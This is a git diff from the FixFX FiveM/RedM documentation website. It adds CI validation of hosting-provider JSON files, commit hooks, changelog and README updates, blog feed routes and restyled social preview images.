]; then + echo "❌ Duplicate provider IDs found:" + echo "$DUPLICATES" + ERRORS=1 + else + echo "✅ No duplicate provider IDs found" + fi + + rm "$IDS_FILE" + fi + + if [ $ERRORS -gt 0 ]; then + exit 1 + fi + + - name: Validate URLs + run: | + ERRORS=0 + + # Check all provider.json files + for file in packages/providers/*/provider.json; do + if [ ! -f "$file" ]; then + continue + fi + + # Check all URLs in the file + URLS=$(jq -r '.. | strings | select(test("^https?://"))' "$file" 2>/dev/null) + + while IFS= read -r url; do + if [ -z "$url" ]; then + continue + fi + + # Basic URL format check + if ! echo "$url" | grep -qE '^https?://[a-zA-Z0-9]'; then + echo "❌ Invalid URL format in $file: $url" + ERRORS=$((ERRORS + 1)) + fi + done <<< "$URLS" + done + + if [ $ERRORS -gt 0 ]; then + exit 1 + fi + + echo "✅ All URLs are properly formatted" + + - name: Verify directory structure + run: | + ERRORS=0 + + # Check that each provider directory has a provider.json + for dir in packages/providers/*/; do + dirname=$(basename "$dir") + + # Skip schema files and system directories + if [[ "$dirname" == "."* ]] || [ "$dirname" = "schema.json" ] || [ "$dirname" = "trusted-hosts.json" ] || [ "$dirname" = "trusted-hosts-schema.json" ]; then + continue + fi + + if [ ! -f "$dir/provider.json" ]; then + echo "⚠️ Warning: Provider directory '$dirname' missing provider.json" + ERRORS=$((ERRORS + 1)) + else + # Verify directory name matches provider ID + ID=$(jq -r '.id' "$dir/provider.json" 2>/dev/null) + if [ "$ID" != "$dirname" ]; then + echo "⚠️ Warning: Directory name '$dirname' doesn't match provider ID '$ID'" + echo " Consider renaming directory to match the provider ID" + fi + fi + done + + if [ $ERRORS -gt 0 ]; then + echo "" + echo "⚠️ $ERRORS warning(s) found (non-fatal)" + fi + + echo "✅ Directory structure verified" diff --git a/.husky/commit-msg b/.husky/commit-msg new file mode 100644 index 0000000..62aa592 --- /dev/null +++ b/.husky/commit-msg @@ -0,0 +1,4 @@ +#!/bin/sh +. "$(dirname "$0")/_/husky.sh" + +npx --no-install commitlint --edit "$1" \ No newline at end of file diff --git a/CHANGELOG.md b/CHANGELOG.md index 19a47ea..80a325d 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -5,6 +5,188 @@ All notable changes to FixFX will be documented in this file. The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). +## [1.1.0] - Unreleased + +### Added + +#### Hosting Providers & Partnerships System +- **Directory-Based Provider Structure** - Reorganized provider files into subdirectories + - Moved from flat `provider-name.json` to `provider-name/provider.json` structure + - Allows schemas and documentation to coexist with provider data + - Improved file organization and maintainability +- **Provider Guidelines & Code of Conduct** - Comprehensive standards documentation (`packages/providers/GUIDELINES.md`) + - Service quality requirements (99.5%+ uptime SLA, ≤4h support response) + - Customer support standards (24/7 availability, documentation, responsiveness) + - Fair pricing expectations and discount legitimacy validation + - Technical standards for FiveM/RedM compatibility + - Ethical business practices and code of conduct + - Partnership application and approval workflow + - Performance monitoring and termination clauses +- **Provider JSON Schema Validation** - Enhanced schema enforcement + - Added `$schema` reference to all provider files pointing to `../schema.json` + - Enables IDE schema validation for provider.json files + - GitHub Actions validates schema compliance on pull requests + - Ensures consistent data quality and structure +- **Trusted Hosts Documentation** - Complete reference for automated provider system + - Usage examples for TypeScript utility functions + - Manual provider addition process + - Troubleshooting guide for scraper and validation + - Fallback mechanisms and validation strategies + +#### StepList Component Enhancements +- **Image Support** - Steps can now include images with positioning + - Added `image`, `imageAlt`, and `imagePosition` props + - Images are zoomable using fumadocs ImageZoom component + - Supports `top`, `bottom`, `left`, `right` positioning +- **Markdown Link Support** - Descriptions now render clickable links + - Added `parseMarkdownLinks` helper function + - Supports standard markdown `[text](url)` syntax +- **Inline Alert Support** - Steps can include contextual alerts + - Added `alert` prop with `type` and `message` fields + - Supports `info`, `warning`, `success`, `error`, and `tip` types + - Styled consistently with InfoBanner component + +#### SEO and Modern Web Standards +- **LLMs.txt** - AI crawler documentation files + - `/llms.txt` - Summary for AI models + - `/llms-full.txt` - Comprehensive documentation for LLMs +- **AI.txt** - AI crawler guidelines and permissions +- **Humans.txt** - Site credits and team information +- **Security.txt** - Security policy in `.well-known/security.txt` +- **GPC.json** - Global Privacy Control signal in `.well-known/gpc.json` +- **OpenSearch** - Browser search integration via `/opensearch.xml` +- **Blog Feeds** - RSS, Atom, and JSON Feed support + - `/blog/feed.xml` - RSS 2.0 feed + - `/blog/atom.xml` - Atom 1.0 feed + - `/blog/feed.json` - JSON Feed 1.1 +- **JSON-LD Schemas** - Structured data for search engines + - WebSite schema with SearchAction + - Organization schema + - SoftwareApplication schema +- **AI Crawler Rules** - Added rules for GPTBot, Claude-Web, ChatGPT-User, Anthropic-AI, PerplexityBot, Cohere-AI in robots.txt + +#### Dynamic Icons +- **App Icon** - Dynamic 512x512 icon with gradient background (`app/icon.tsx`) +- **Apple Touch Icon** - Dynamic 180x180 icon for iOS (`app/apple-icon.tsx`) +- **Brand Page** - `/brand` page displaying icon with download buttons + +#### Documentation +- **Discord Bot Guide** - Comprehensive txAdmin Discord bot setup documentation + - Bot creation and permissions + - Configuration options + - Command reference + - Troubleshooting section + +#### GitHub Community Files +- **SECURITY.md** - Vulnerability reporting process and response timeline +- **CODE_OF_CONDUCT.md** - Community guidelines based on Contributor Covenant + +#### Developer Tooling +- **Husky** - Git hooks for automated checks + - Pre-commit hook running lint-staged + - Commit-msg hook running commitlint +- **Lint-staged** - Run linters on staged files only + - ESLint for JS/TS files + - Prettier for formatting all file types +- **Commitlint** - Enforce conventional commit messages + - Uses `@commitlint/config-conventional` preset +- **Knip** - Dead code detection + - Configured for monorepo structure with packages + - Custom entry points and path aliases + +#### Artifacts Page Enhancements +- **Hosting Panel Version Strings** - Added Pterodactyl/Pelican version support + - Accordion section in featured cards showing full version string (e.g., `24769-315823736cfbc085104ca0d32779311cd2f1a5a8`) + - Quick copy button with Terminal icon on artifact list items + - Compatible with Pterodactyl, Pelican, and similar hosting panel egg configurations + +- **Artifact Stats from API** - Stats cards now show full totals from backend + - Total, Recommended, Latest, Active, EOL counts reflect all filtered results + - Previously only showed counts for current page + +- **EOL/Deprecated Artifact Warnings** - Safety improvements for unsupported versions + - Warning banner on deprecated/EOL artifact cards explaining download restriction + - Link to CFX EOL documentation (https://aka.cfx.re/eol) + - Download buttons disabled with tooltip explanation + - Visual distinction with amber (deprecated) and red (EOL) styling + +- **Accordion Component** - New Radix-based accordion component + - Smooth expand/collapse animations + - Accessible keyboard navigation + - Used for hosting panel version sections + +### Fixed +- **EOL filter parameter** - Fixed `includeEol` not being sent when set to "No" + - Now always sends `includeEol` parameter explicitly to backend + - Previously only sent when true, causing backend default (true) to override UI setting + +- **InfoBanner Alignment** - Fixed icon and title not being perfectly inline + - Wrapped icon in flex container with consistent height + - Applied matching `leading-6` to title text + +- **StepList Alert Alignment** - Fixed icon and title alignment in step alerts + - Same fix as InfoBanner using flex containers + +- **ImageZoom Empty Src** - Fixed error when ImageZoom received empty src string + - Added guard to check `step.image.trim() !== ""` before rendering + - Added guard in docs page for markdown images with `props.src` check + +- **Hero Button Consistency** - Fixed Troubleshoot Issues button arrow visibility + - Arrow now always visible instead of appearing on hover + - Matches Get Started button behavior + +#### Styling & CSS Enhancements +- **Comprehensive CSS System** - Major expansion of `globals.css` with reusable utilities + - **Custom Scrollbar** - Sleek, minimal scrollbar styling with `.custom-scrollbar` + - **Gradient Text** - Utilities: `text-gradient-blue`, `text-gradient-purple`, `text-gradient-green`, `text-gradient-orange` + - **Glow Effects** - `glow-blue`, `glow-purple`, `glow-green`, `glow-sm` for neon-style effects + - **Glassmorphism** - `glass`, `glass-card`, `glass-dark` for frosted glass effects + - **Gradient Backgrounds** - `bg-mesh` (multi-color mesh), `bg-dots`, `bg-grid` patterns + - **Card Effects** - `card-hover` with lift animation, `card-glow` with mouse-tracking radial gradient + - **Status Badges** - `badge-recommended`, `badge-latest`, `badge-active`, `badge-deprecated`, `badge-eol` + - **Code Block Styles** - `code-block`, `code-block-header`, `inline-code` + - **Loading States** - `skeleton`, `skeleton-text`, `skeleton-title`, `skeleton-avatar`, `skeleton-card` + - **Chat Interface** - `chat-bubble`, `chat-bubble-user`, `chat-bubble-assistant`, `chat-input` + - **Contributor Styles** - `contributor-avatar` with hover ring effect, `contributor-badge` + - **Table Styles** - Complete table wrapper with hover states + - **Component Classes** - `artifact-card`, `native-card`, `feature-card`, `hero-badge`, `hero-title`, `hero-glow` + - **Documentation** - `docs-callout-info`, `docs-callout-warning`, `docs-callout-danger`, `docs-callout-tip` + - **TOC Styles** - `toc-link`, `toc-progress` for table of contents + - **Sidebar** - `sidebar-link` with active state + - **Utilities** - `transition-base`, `transition-slow`, `focus-ring`, `search-highlight` + - **Z-Index Scale** - Structured z-index system from `z-behind` to `z-tooltip` + +#### Animations +- **New Animation Utilities** - Smooth, performant CSS animations + - `animate-fade-in` - Fade in effect + - `animate-slide-up` / `animate-slide-down` - Slide animations + - `animate-scale-in` - Scale entrance + - `animate-float` - Floating effect (6s infinite) + - `animate-shimmer` - Shimmer loading effect + - `animate-gradient` - Animated gradient backgrounds + - `animate-glow-pulse` - Pulsing glow effect + - `animate-border-flow` - Flowing border gradient +- **Button Shine Effect** - `btn-glow` with shine animation on hover +- **Link Underline** - `link-underline` with animated underline on hover + +### Changed +- Updated `txAdmin Windows Install` guide with StepList images and alerts +- Updated to `NextJS v15.5.9` as it is the latest stable `15.x` version not requiring significant changes +- Enhanced sitemap with blog posts and improved priority structure +- Updated README.md with accurate project information +- Updated CONTRIBUTING.md with correct Discord and email contacts +- Added `knip.json` configuration for dead code detection + +### Fixed +- **Next.js 15 Dynamic Params** - Fixed `params` must be awaited error in `/docs/[...slug]/page.tsx` + - Changed `params` type from `{ slug?: string[] }` to `Promise<{ slug?: string[] }>` + - Added `const { slug } = await params;` before accessing properties + - Aligns with Next.js 15+ requirements for dynamic route params + +- **Hydration Mismatch** - Fixed React hydration warning in root layout + - Added `suppressHydrationWarning` to `` element + - Prevents warnings from theme provider dynamically adding `dark` class and `color-scheme` style + ## [1.0.0] - 2026-01-25 ### Added diff --git a/README.md b/README.md index e517fc1..0f8449a 100644 --- a/README.md +++ b/README.md @@ -1,68 +1,188 @@ -# FixFX Wiki +# FixFX [![Build](https://github.com/CodeMeAPixel/FixFX/actions/workflows/build-ci.yml/badge.svg)](https://github.com/CodeMeAPixel/FixFX/actions/workflows/build-ci.yml) +[![License: AGPL 3.0](https://img.shields.io/badge/License-AGPL%203.0-blue.svg)](LICENSE) -A comprehensive documentation platform for FiveM development, providing detailed guides, tutorials, and best practices for the FiveM community. +A documentation platform for FiveM, RedM, and the CitizenFX ecosystem. Guides, tutorials, native references, and tools for server developers. + +> [!INFO] +>FixFX is an independent community project. It is not affiliated with or endorsed by Cfx.re, Rockstar Games, txAdmin, Take-Two Interactive or any other entities referenced throughout the documentation. ## Features -- 📚 Extensive documentation covering various aspects of FiveM development -- 🎨 Modern, responsive UI with dark mode support -- 🔍 Advanced search functionality -- 📝 Interactive code examples with syntax highlighting -- 🌐 Multi-language support -- 📱 Mobile-friendly design -- 🚀 Fast and optimized performance +- Documentation for FiveM, RedM, txAdmin, vMenu, and popular frameworks +- Native function reference with search and filtering +- Artifacts browser for server builds +- AI-powered chat assistant for troubleshooting +- Full-text search across all documentation +- Dark mode interface +- Mobile responsive design ## Tech Stack -- **Framework**: Next.js -- **UI**: React, Tailwind CSS -- **Documentation**: MDX -- **Code Highlighting**: Shiki -- **Icons**: Lucide +- **Framework**: Next.js 15 +- **Language**: TypeScript +- **Styling**: Tailwind CSS +- **Documentation**: MDX with Fumadocs +- **Backend**: Go (separate repository) - **Deployment**: Vercel ## Getting Started -1. Clone the repository: - ```bash - git clone https://github.com/CodeMeAPixel/FixFX.git - ``` - -2. Install dependencies: - ```bash - cd FixFX - pnpm install - ``` +### Prerequisites -3. Start the development server: - ```bash - pnpm dev - ``` +- Node.js 18 or later +- Bun (recommended) or npm/pnpm -4. Open [http://localhost:3000](http://localhost:3000) in your browser. +### Installation -## Documentation Structure +```bash +git clone https://github.com/CodeMeAPixel/FixFX.git +cd FixFX/frontend +bun install +``` -The documentation is organized into several main sections: +### Development -- **Core**: Fundamental concepts and principles -- **CFX**: FiveM-specific tools and features -- **Common Tools**: Essential utilities and best practices -- **Guides**: Step-by-step tutorials and walkthroughs +```bash +bun dev +``` + +Open [http://localhost:3000](http://localhost:3000) in your browser. + +### Production Build + +```bash +bun run build +bun start +``` + +## Project Structure + +``` +frontend/ +├── app/ # Next.js app router +├── content/ # MDX documentation files +├── lib/ # Utility functions +├── packages/ +│ ├── core/ # React hooks +│ ├── ui/ # UI components +│ └── utils/ # Shared utilities +├── public/ # Static assets +├── styles/ # Global styles +└── types/ # TypeScript definitions +``` + +## Documentation + +Documentation content is located in `content/docs/` and organized by topic: + +- `core/` - Core concepts and fundamentals +- `cfx/` - CitizenFX platform documentation +- `txadmin/` - txAdmin server management +- `vmenu/` - vMenu configuration +- `frameworks/` - ESX, QBCore, and other frameworks +- `guides/` - Tutorials and how-to guides + +## Hosting Providers & Partnerships + +This project includes a partnership program for hosting providers offering exclusive benefits to the FiveM and RedM communities. + +### For Server Owners + +Visit the [Hosting Partners page](/hosting) to browse verified hosting providers with exclusive FixFX discounts: + +- **Affiliate Partners**: Providers with exclusive discount codes (e.g., ZAP-Hosting with 20% off) +- **Trusted Hosts**: Automatically curated list from [fivem.net/server-hosting](https://fivem.net/server-hosting) + +### For Hosting Providers + +We're always looking for quality hosting providers interested in partnerships. Here's what we offer: + +✅ **Reach**: Exposure to thousands of FiveM/RedM server owners +✅ **Trust**: Featured on our dedicated hosting page +✅ **Tracking**: Affiliate links for conversion attribution +✅ **Support**: Community visibility and marketing assistance + +#### Partnership Requirements & Code of Conduct + +Your hosting service should meet these criteria: + +- Must host **FiveM** and/or **RedM** servers +- **99.6%+ uptime** with responsive 24/7 support +- Provide an **exclusive discount code** or special offer +- Supply **trackable affiliate/referral links** +- Maintain **quality standards** and community respect +- Adhere to our [Provider Guidelines & Code of Conduct](./packages/providers/GUIDELINES.md) + +#### How to Apply + +1. **Review** the [Provider Guidelines & Code of Conduct](./packages/providers/GUIDELINES.md) +2. **Read** the [Partnership Requirements & Process](./packages/providers/README.md) +3. **Create** your provider directory with `provider.json` +4. **Submit** a Pull Request to `frontend/packages/providers/` +5. **Review**: Our team responds within 3-5 business days + +**Example JSON file** (in `your-hosting/provider.json`): + +```json +{ + "$schema": "../schema.json", + "id": "your-hosting", + "name": "Your Hosting Company", + "website": "https://your-hosting.com", + "description": "Premium FiveM and RedM hosting with DDoS protection and 24/7 support.", + "discount": { + "percentage": 20, + "code": "FIXFX20", + "duration": "Lifetime" + }, + "links": [ + { + "label": "FiveM Servers", + "url": "https://your-hosting.com/affiliate?campaign=fixfx", + "description": "High-performance FiveM servers" + } + ], + "features": [ + "99.9% Uptime SLA", + "DDoS Protection", + "Auto-backup & Restore", + "24/7 Support", + "1-Click Install" + ], + "priority": 10 +} +``` + +#### System Features + +- **Automated Validation**: GitHub Actions validates all provider JSON files +- **Schema Enforcement**: JSON Schema ensures consistent data quality +- **Trusted Hosts Scraper**: Weekly automation to maintain current FiveM provider list +- **CI/CD Integration**: Automatic PR creation for provider updates + +For detailed information, see: +- [Provider Guidelines & Code of Conduct](./packages/providers/GUIDELINES.md) - Standards and expectations +- [Partnership Requirements & Process](./packages/providers/README.md) - Detailed how-to guide +- [Trusted Hosts Documentation](./packages/providers/TRUSTED_HOSTS_README.md) - Automation details ## Contributing -We welcome contributions from the community! Here's how you can help: +Contributions are welcome. Please read our [Contributing Guide](.github/CONTRIBUTING.md) before submitting a pull request. 1. Fork the repository -2. Create a new branch for your feature -3. Make your changes -4. Submit a pull request +2. Create a feature branch (`git checkout -b feature/your-feature`) +3. Commit your changes (`git commit -m 'feat: add your feature'`) +4. Push to the branch (`git push origin feature/your-feature`) +5. Open a pull request + +## Community -Please ensure your contributions follow our [contribution guidelines](CONTRIBUTING.md). +- **GitHub Issues**: [Report bugs or request features](https://github.com/CodeMeAPixel/FixFX/issues) +- **Discord**: [discord.gg/Vv2bdC44Ge](https://discord.gg/Vv2bdC44Ge) +- **Email**: [hey@codemeapixel.dev](mailto:hey@codemeapixel.dev) ## License -This project is licensed under the AGPL 3.0 License - see the [LICENSE](LICENSE) file for details. \ No newline at end of file +This project is licensed under the AGPL 3.0 License. See the [LICENSE](LICENSE) file for details. \ No newline at end of file diff --git a/app/(blog)/blog/(root)/page.tsx b/app/(blog)/blog/(root)/page.tsx index 1832a2d..c5350a9 100644 --- a/app/(blog)/blog/(root)/page.tsx +++ b/app/(blog)/blog/(root)/page.tsx @@ -1,42 +1,45 @@ import { FixFXIcon } from "@ui/icons"; import { blog } from "@/lib/docs/source"; import Link from "next/link"; -import { Calendar, Clock, ArrowRight } from "lucide-react"; +import { Calendar, ArrowRight } from "lucide-react"; export default function BlogPage() { const posts = blog.getPages(); return ( -
+
{/* Header */} -
-
- -

Blog

+
+
+ + Latest Articles
-

- News, guides, and insights from the FixFX community +

+ FixFX Blog +

+

+ News, guides, and insights from the FixFX community. Learn best practices, get updates, and discover new features.

{/* Posts grid */} -
+
{posts.map((post, index) => ( {/* Gradient accent on hover */} -
+
{/* Meta info */} {post.data.date && ( -
- - +
+ + {new Date(post.data.date).toLocaleDateString('en-US', { month: 'short', day: 'numeric', @@ -47,19 +50,19 @@ export default function BlogPage() { )} {/* Title */} -

+

{post.data.title}

{/* Description */} -

+

{post.data.description}

{/* Read more link */} -
+
Read article - +
@@ -68,8 +71,8 @@ export default function BlogPage() { {/* Empty state */} {posts.length === 0 && ( -
-

No posts yet. Check back soon!

+
+

No posts yet. Check back soon for new content!

)}
diff --git a/app/(blog)/blog/[slug]/page.tsx b/app/(blog)/blog/[slug]/page.tsx index cd151ab..f51d207 100644 --- a/app/(blog)/blog/[slug]/page.tsx +++ b/app/(blog)/blog/[slug]/page.tsx @@ -1,5 +1,6 @@ import defaultMdxComponents from "fumadocs-ui/mdx"; import { CornerDownLeft } from "@ui/icons"; +import { Calendar } from "lucide-react"; import { notFound } from "next/navigation"; import { blog } from "@/lib/docs/source"; import Link from "next/link"; @@ -7,45 +8,63 @@ import Link from "next/link"; export default async function BlogPost(props: { params: Promise<{ slug: string }>; }) { - const params = await props.params; - const page = blog.getPage([params.slug]); + const { slug } = await props.params; + const page = blog.getPage([slug]); if (!page) notFound(); const Mdx = page.data.body; return ( <> -
-

+
+

{page.data.title}

-

+

{page.data.description}

-
+
+
+ + {new Date(page.data.date).toLocaleDateString('en-US', { + month: 'short', + day: 'numeric', + year: 'numeric' + })} + {page.data.author && ( + <> + + {page.data.author} + + )} +
- Back + Back to Blog
-
-
+
+

-
+
-

Written by

-

{page.data.author}

+

Written by

+

{page.data.author}

-

At

-

- {new Date(page.data.date).toDateString()} +

Published

+

+ {new Date(page.data.date).toLocaleDateString('en-US', { + month: 'long', + day: 'numeric', + year: 'numeric' + })}

diff --git a/app/(blog)/blog/atom.xml/route.ts b/app/(blog)/blog/atom.xml/route.ts new file mode 100644 index 0000000..8812575 --- /dev/null +++ b/app/(blog)/blog/atom.xml/route.ts @@ -0,0 +1,47 @@ +import { blogPosts } from "@/../source.config"; +import { DOCS_URL } from "@utils/index"; + +export async function GET() { + const posts = blogPosts.getPages(); + + const feed = ` + + FixFX Blog + News, tutorials, and updates for the FiveM, RedM, and CitizenFX community + + + ${DOCS_URL}/ + ${new Date().toISOString()} + + FixFX Team + https://github.com/CodeMeAPixel + + ${DOCS_URL}/favicon-32x32.png + ${DOCS_URL}/logo.png + © ${new Date().getFullYear()} FixFX. All rights reserved. + ${posts + .sort((a, b) => new Date(b.data.date).getTime() - new Date(a.data.date).getTime()) + .map( + (post) => ` + + <![CDATA[${post.data.title}]]> + + ${DOCS_URL}/blog/${post.slugs.join("/")} + ${new Date(post.data.date).toISOString()} + ${new Date(post.data.date).toISOString()} + + ${post.data.author} + + + ` + ) + .join("")} +`; + + return new Response(feed, { + headers: { + "Content-Type": "application/atom+xml; charset=utf-8", + "Cache-Control": "public, max-age=3600, s-maxage=3600", + }, + }); +} diff --git a/app/(blog)/blog/feed.json/route.ts b/app/(blog)/blog/feed.json/route.ts new file mode 100644 index 0000000..9b1b97c --- /dev/null +++ b/app/(blog)/blog/feed.json/route.ts @@ -0,0 +1,40 @@ +import { blogPosts } from "@/../source.config"; +import { DOCS_URL } from "@utils/index"; + +export async function GET() { + const posts = blogPosts.getPages(); + + const feed = { + version: "https://jsonfeed.org/version/1.1", + title: "FixFX Blog", + home_page_url: DOCS_URL, + feed_url: `${DOCS_URL}/blog/feed.json`, + description: "News, tutorials, and updates for the FiveM, RedM, and CitizenFX community", + icon: `${DOCS_URL}/android-chrome-512x512.png`, + favicon: `${DOCS_URL}/favicon-32x32.png`, + authors: [ + { + name: "FixFX Team", + url: "https://github.com/CodeMeAPixel", + }, + ], + language: "en-US", + items: posts + .sort((a, b) => new Date(b.data.date).getTime() - new Date(a.data.date).getTime()) + .map((post) => ({ + id: `${DOCS_URL}/blog/${post.slugs.join("/")}`, + url: `${DOCS_URL}/blog/${post.slugs.join("/")}`, + title: post.data.title, + summary: post.data.description || "", + date_published: new Date(post.data.date).toISOString(), + authors: [{ name: post.data.author }], + })), + }; + + return new Response(JSON.stringify(feed, null, 2), { + headers: { + "Content-Type": "application/feed+json; charset=utf-8", + "Cache-Control": "public, max-age=3600, s-maxage=3600", + }, + }); +} diff --git a/app/(blog)/blog/feed.xml/route.ts b/app/(blog)/blog/feed.xml/route.ts new file mode 100644 index 0000000..ec1c9b6 --- /dev/null +++ b/app/(blog)/blog/feed.xml/route.ts @@ -0,0 +1,44 @@ +import { blogPosts } from "@/../source.config"; +import { DOCS_URL } from "@utils/index"; + +export async function GET() { + const posts = blogPosts.getPages(); + + const feed = ` + + + FixFX Blog + ${DOCS_URL} + News, tutorials, and updates for the FiveM, RedM, and CitizenFX community + en-US + ${new Date().toUTCString()} + + + ${DOCS_URL}/logo.png + FixFX Blog + ${DOCS_URL} + + ${posts + .sort((a, b) => new Date(b.data.date).getTime() - new Date(a.data.date).getTime()) + .map( + (post) => ` + + <![CDATA[${post.data.title}]]> + ${DOCS_URL}/blog/${post.slugs.join("/")} + ${DOCS_URL}/blog/${post.slugs.join("/")} + + ${post.data.author} + ${new Date(post.data.date).toUTCString()} + ` + ) + .join("")} + +`; + + return new Response(feed, { + headers: { + "Content-Type": "application/xml; charset=utf-8", + "Cache-Control": "public, max-age=3600, s-maxage=3600", + }, + }); +} diff --git a/app/(blog)/opengraph-image.tsx b/app/(blog)/opengraph-image.tsx index 6915267..b387202 100644 --- a/app/(blog)/opengraph-image.tsx +++ b/app/(blog)/opengraph-image.tsx @@ -14,42 +14,117 @@ export default function Image() { (
+ {/* Background gradient orbs */}
+
+ + {/* Icon */} +
- FixFX Blog + ✍️
+ + {/* Main title */}
- Latest updates and insights from the FiveM community + + Fix + + + FX + + + Blog +
+ + {/* Subtitle */} +

+ Latest updates, tutorials, and insights from the FiveM community +

), { ...size, - }, + } ); } diff --git a/app/(blog)/twitter-image.tsx b/app/(blog)/twitter-image.tsx index 7cc0c38..29b0384 100644 --- a/app/(blog)/twitter-image.tsx +++ b/app/(blog)/twitter-image.tsx @@ -3,8 +3,8 @@ import { ImageResponse } from "next/og"; export const runtime = "nodejs"; export const alt = "FixFX Blog"; export const size = { - width: 506, - height: 506, + width: 1200, + height: 630, }; export const contentType = "image/png"; @@ -14,41 +14,87 @@ export default function Image() { (
+ {/* Background gradient orb */}
+ + {/* Icon */} +
- FixFX + ✍️
+ + {/* Main title */}
- Blog + + Fix + + + FX +
+ + {/* Subtitle */} +

+ Blog +

), { ...size, - }, + } ); } diff --git a/app/(docs)/docs/[...slug]/page.tsx b/app/(docs)/docs/[...slug]/page.tsx index 3655e13..42fffff 100644 --- a/app/(docs)/docs/[...slug]/page.tsx +++ b/app/(docs)/docs/[...slug]/page.tsx @@ -4,6 +4,7 @@ import { DocsTitle, DocsDescription, } from "fumadocs-ui/page"; +import { ImageZoom } from "fumadocs-ui/components/image-zoom"; import { source } from "@/lib/docs/source"; import { metadataImage } from "@/lib/docs/metadata"; import defaultMdxComponents from "fumadocs-ui/mdx"; @@ -14,17 +15,19 @@ import { Editor } from "@ui/core/docs/editor"; export default async function Page({ params, }: { - params: { slug?: string[] }; + params: Promise<{ slug?: string[] }>; }) { + const { slug } = await params; + // Redirect to overview if no slug is provided (root /docs path) - if (!params.slug || params.slug.length === 0) { + if (!slug || slug.length === 0) { return source.getPage(['overview']); } - const page = source.getPage(params.slug); + const page = source.getPage(slug); if (!page) notFound(); - const MDX = page.data.body + const MDX = page.data.body; return ( props.src ? : null, Editor: Editor }} /> diff --git a/app/(docs)/docs/layout.tsx b/app/(docs)/docs/layout.tsx index 598fa49..73dcac9 100644 --- a/app/(docs)/docs/layout.tsx +++ b/app/(docs)/docs/layout.tsx @@ -4,6 +4,24 @@ import { baseOptions } from "@/app/layout.config"; import { FixFXIcon } from "@ui/icons"; import { source } from "@/lib/docs/source"; import type { ReactNode } from "react"; +import type { Metadata } from "next"; + +export const metadata: Metadata = { + title: { + default: "Documentation", + template: "%s | FixFX Docs", + }, + description: "Comprehensive documentation for FiveM, RedM, txAdmin, vMenu, and the CitizenFX ecosystem. Guides, tutorials, and API references.", + alternates: { + canonical: "https://fixfx.wiki/docs", + }, + openGraph: { + title: "FixFX Documentation", + description: "Comprehensive documentation for FiveM, RedM, txAdmin, vMenu, and the CitizenFX ecosystem.", + url: "https://fixfx.wiki/docs", + type: "website", + }, +}; const docsOptions: DocsLayoutProps = { ...baseOptions, diff --git a/app/(docs)/opengraph-image.tsx b/app/(docs)/opengraph-image.tsx index 71c2ee0..7d5909c 100644 --- a/app/(docs)/opengraph-image.tsx +++ b/app/(docs)/opengraph-image.tsx @@ -14,42 +14,142 @@ export default function Image() { (
+ {/* Background gradient orbs */}
+
+ + {/* Icon */} +
- FixFX Docs + 📚
+ + {/* Main title */}
+ + Fix + + + FX + + + Docs + +
+ + {/* Subtitle */} +

+ Comprehensive guides and tutorials for the CitizenFX ecosystem +

+ + {/* Tags */} +
- Comprehensive guides and information for the CitizenFX ecosystem + {["FiveM", "RedM", "txAdmin", "vMenu"].map((tag) => ( +
+ {tag} +
+ ))}
), { ...size, - }, + } ); } diff --git a/app/(docs)/twitter-image.tsx b/app/(docs)/twitter-image.tsx index 38e3735..0dce458 100644 --- a/app/(docs)/twitter-image.tsx +++ b/app/(docs)/twitter-image.tsx @@ -3,8 +3,8 @@ import { ImageResponse } from "next/og"; export const runtime = "nodejs"; export const alt = "FixFX Documentation"; export const size = { - width: 506, - height: 506, + width: 1200, + height: 630, }; export const contentType = "image/png"; @@ -14,41 +14,87 @@ export default function Image() { (
+ {/* Background gradient orb */}
+ + {/* Icon */} +
- FixFX + 📚
+ + {/* Main title */}
- Docs + + Fix + + + FX +
+ + {/* Subtitle */} +

+ Documentation +

), { ...size, - }, + } ); } diff --git a/app/(landing)/opengraph-image.tsx b/app/(landing)/opengraph-image.tsx index a8737b6..7160feb 100644 --- a/app/(landing)/opengraph-image.tsx +++ b/app/(landing)/opengraph-image.tsx @@ -1,7 +1,7 @@ import { ImageResponse } from "next/og"; export const runtime = "nodejs"; -export const alt = "FixFX"; +export const alt = "FixFX - Your FiveM & RedM Resource Hub"; export const size = { width: 1200, height: 630, @@ -14,51 +14,166 @@ export default function Image() { (
+ {/* Background gradient orbs */}
+
+
+ + {/* Badge */} +
- FixFX +
+ + Open Source Documentation +
+ + {/* Main title */}
+ + Fix + + + FX + +
+ + {/* Subtitle */} +

- Comprehensive guides for the CitizenFX ecosystem -

+ Your comprehensive resource for FiveM,{" "} + RedM, and the{" "} + CitizenFX ecosystem. +

+ + {/* Bottom indicators */}
- Powered by the Community +
+
+ Free & Open Source +
+
+
+ Community Driven +
+
+
+ Always Updated +
), { ...size, - }, + } ); } diff --git a/app/(landing)/page.tsx b/app/(landing)/page.tsx index 64e400d..2b93334 100644 --- a/app/(landing)/page.tsx +++ b/app/(landing)/page.tsx @@ -3,6 +3,21 @@ import { Features } from "@ui/core/landing/features"; import { DocsPreview } from "@ui/core/landing/docs-preview"; import { Hero } from "@ui/core/layout/hero"; import { Contributors } from "@ui/core/landing/contributors"; +import type { Metadata } from "next"; + +export const metadata: Metadata = { + title: "FixFX - FiveM & RedM Documentation Hub", + description: "Comprehensive guides, tutorials, and documentation for FiveM, RedM, txAdmin, vMenu, and the CitizenFX ecosystem. Your one-stop resource for server development.", + alternates: { + canonical: "https://fixfx.wiki", + }, + openGraph: { + title: "FixFX - FiveM & RedM Documentation Hub", + description: "Comprehensive guides, tutorials, and documentation for FiveM, RedM, txAdmin, and the CitizenFX ecosystem.", + url: "https://fixfx.wiki", + type: "website", + }, +}; export default function HomePage() { return ( diff --git a/app/(landing)/twitter-image.tsx b/app/(landing)/twitter-image.tsx index c78fe8c..3ce03d4 100644 --- a/app/(landing)/twitter-image.tsx +++ b/app/(landing)/twitter-image.tsx @@ -1,10 +1,10 @@ import { ImageResponse } from "next/og"; export const runtime = "nodejs"; -export const alt = "FixFX"; +export const alt = "FixFX - Your FiveM & RedM Resource Hub"; export const size = { - width: 506, - height: 506, + width: 1200, + height: 630, }; export const contentType = "image/png"; @@ -14,41 +14,88 @@ export default function Image() { (
+ {/* Background gradient orbs */}
+
+ + {/* Main title */} +
- FixFX + + Fix + + + FX +
-
- FiveM Guides -
+ FiveM & RedM Resource Hub +

